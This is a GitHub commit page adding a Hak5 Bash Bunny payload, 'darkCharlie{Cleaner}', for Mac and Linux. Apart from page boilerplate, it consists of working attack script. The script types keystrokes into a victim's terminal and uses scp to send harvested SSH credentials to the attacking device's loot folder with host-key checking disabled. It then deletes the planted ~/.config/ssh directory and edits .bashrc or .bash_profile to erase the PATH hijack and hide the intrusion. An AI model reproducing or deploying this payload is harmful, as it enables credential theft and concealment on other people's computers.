-
Notifications
You must be signed in to change notification settings - Fork 1.5k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge branch 'hak5:master' into master
- Loading branch information
Showing
63 changed files
with
2,500 additions
and
57 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
74 changes: 74 additions & 0 deletions
74
payloads/library/credentials/darkCharlie/cleaner/payload.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
#!/bin/bash | ||
|
||
# Title: darkCharlie{Cleaner} | ||
# Author: Michael Weinstein | ||
# Target: Mac/Linux | ||
# Version: 0.1 | ||
# | ||
# Get the ssh creds from our loot collection. | ||
# And clean up after | ||
# | ||
# White | Ready | ||
# Blue blinking | Attacking | ||
# Green | Finished | ||
|
||
LED SETUP | ||
|
||
#setup the attack on macos (if false, attack is for Linux) | ||
mac=false | ||
|
||
if [ "$mac" = true ] | ||
then | ||
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E | ||
else | ||
ATTACKMODE ECM_ETHERNET HID | ||
fi | ||
|
||
DUCKY_LANG us | ||
|
||
GET SWITCH_POSITION | ||
GET HOST_IP | ||
|
||
cd /root/udisk/payloads/$SWITCH_POSITION/ | ||
LOOT=/root/udisk/loot/darkCharlie | ||
mkdir -p $LOOT | ||
|
||
LED ATTACK | ||
|
||
if [ "$mac" = true ] | ||
then | ||
RUN OSX terminal | ||
else | ||
RUN UNITY xterm | ||
fi | ||
QUACK DELAY 2000 | ||
|
||
QUACK STRING scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no \~/.config/ssh/ssh.conf root@$HOST_IP:$LOOT/\$USER.$HOSTNAME.ssh.passwd.json #nice hiding of known host info | ||
QUACK DELAY 200 | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
QUACK STRING hak5bunny | ||
QUACK DELAY 200 | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
if [ "$mac" = true ] | ||
then | ||
QUACK STRING rm -rf \~/.config/ssh #\&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bash_profile #macs really seem to hate it when you sed in place, I think. | ||
QUACK ENTER | ||
QUACK STRING "python -c \"import os; home = os.environ['HOME']; file = open(home + '/.bash_profile','r'); dataIn = file.readlines(); file.close(); dataOut = [line for line in dataIn if not '~/.config/ssh' in line]; output = ''.join(dataOut); file = open(home + '/.bash_profile','w'); file.write(output); file.close()\"" | ||
else | ||
QUACK STRING rm -rf \~/.config/ssh \&\& sed -i \'/export PATH=\\~\\/.config\\/ssh:/d\' \~/.bashrc | ||
fi | ||
QUACK ENTER | ||
QUACK DELAY 200 | ||
if [ "$mac" = true ] | ||
then | ||
QUACK DELAY 2000 | ||
QUACK GUI w | ||
else | ||
QUACK STRING exit | ||
QUACK DELAY 200 | ||
QUACK ENTER | ||
fi | ||
LED SUCCESS | ||
#See you, space cowboy... |
Oops, something went wrong.